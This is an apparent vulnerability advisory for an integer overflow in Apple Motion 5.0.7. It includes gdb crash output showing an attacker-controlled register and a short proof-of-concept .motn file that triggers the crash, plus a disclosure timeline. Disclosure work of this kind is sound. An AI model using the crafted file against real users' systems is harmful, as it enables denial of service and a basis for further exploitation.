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Apple Motion Integer Overflow Vulnerability

Apple Motion Integer Overflow Vulnerability

Vendor: Apple (http://www.apple.com)
Software: Motion 5.0.7
Testcase verified on: OS X 10.8

Credit: Jean Pascal Pereira <pereira@xxxxxxxxx>


An integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected. 

An attacker has the possibility to provide a crafted .motn file containing a viewer element with a subview attribute. If the subview attribute is set to a very low or high integer value, the application crashes due an access violation.

Debug message:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990
0x0000000100858eb7 in OZDocument::parseElement ()

The crash is triggered in the function OZDocument::parseElement() at the following instruction:

(gdb) x/i 0x0000000100858eb7 
0x100858eb7 <_ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement+695>:	mov rsi, QWORD PTR [rbx+rax*8+0x98]

The value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below). 

(gdb) p $rax
$16 = 989894991

(gdb) p/x $rbx+($rax*8)+0x98
$1 = 0x2dd6e0990


Create a .motn file with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE ozxmlscene>
<ozml version="5.5">
<viewer subview="989894991">

2013/09/18: Vendor notified
2013/10/07: Public disclosure